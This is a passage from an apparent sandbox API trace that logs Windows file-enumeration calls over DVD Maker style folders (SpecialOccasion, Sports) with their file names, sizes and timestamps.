ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.380] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.385] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0055.385] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0055.385] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0055.386] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0055.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0055.389] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0055.578] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0055.579] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0055.586] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0055.586] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0055.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0055.615] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.615] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.616] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0055.741] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.741] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 